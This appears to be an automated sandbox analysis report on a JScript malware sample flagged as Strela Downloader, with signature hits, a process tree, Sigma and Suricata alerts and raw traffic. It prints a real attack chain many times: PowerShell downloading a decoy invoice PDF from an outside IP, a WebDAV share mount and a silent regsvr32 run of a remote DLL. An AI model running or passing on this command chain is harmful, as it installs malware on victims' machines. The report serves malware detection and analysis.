Edit tour

Windows Analysis Report
293816234142143228.js

Overview

General Information

Sample name:	293816234142143228.js
Analysis ID:	1587892
MD5:	65f5a06bbc93c7bdf389755072bd66d3
SHA1:	ca292ef573c9fcca8448e42891590b2e90e3cb8d
SHA256:	d5ae6d6e8ed5ae974cf8d4710cd795228728b504cff056964b85cd0ce93fd9c2
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7432 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293816234142143228.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7520 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7576 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7756 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7984 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8180 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1648,i,3214176902867615900,6819842971302672721,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7772 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7808 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8048 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7432	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7520, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7576, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7520, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7576, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293816234142143228.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293816234142143228.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293816234142143228.js", ProcessId: 7432, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7808, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49770

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293816234142143228.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7432, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ProcessId: 7520, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293816234142143228.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7432, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ProcessId: 7520, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293816234142143228.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7432, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ProcessId: 7520, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293816234142143228.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7432, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ProcessId: 7520, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293816234142143228.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7432, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ProcessId: 7520, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293816234142143228.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293816234142143228.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293816234142143228.js", ProcessId: 7432, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7520, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7576, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7772, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7808, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8048, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7772, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7808, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293816234142143228.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7432, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ProcessId: 7520, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:05:02.693492+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49770	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:05:00.052184+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49754	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 293816234142143228.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 293816234142143228.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49770 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:04:59 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49770

Source: global traffic

TCP traffic: 192.168.2.9:49770 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49754 -> 193.143.1.205:80

Source: global traffic

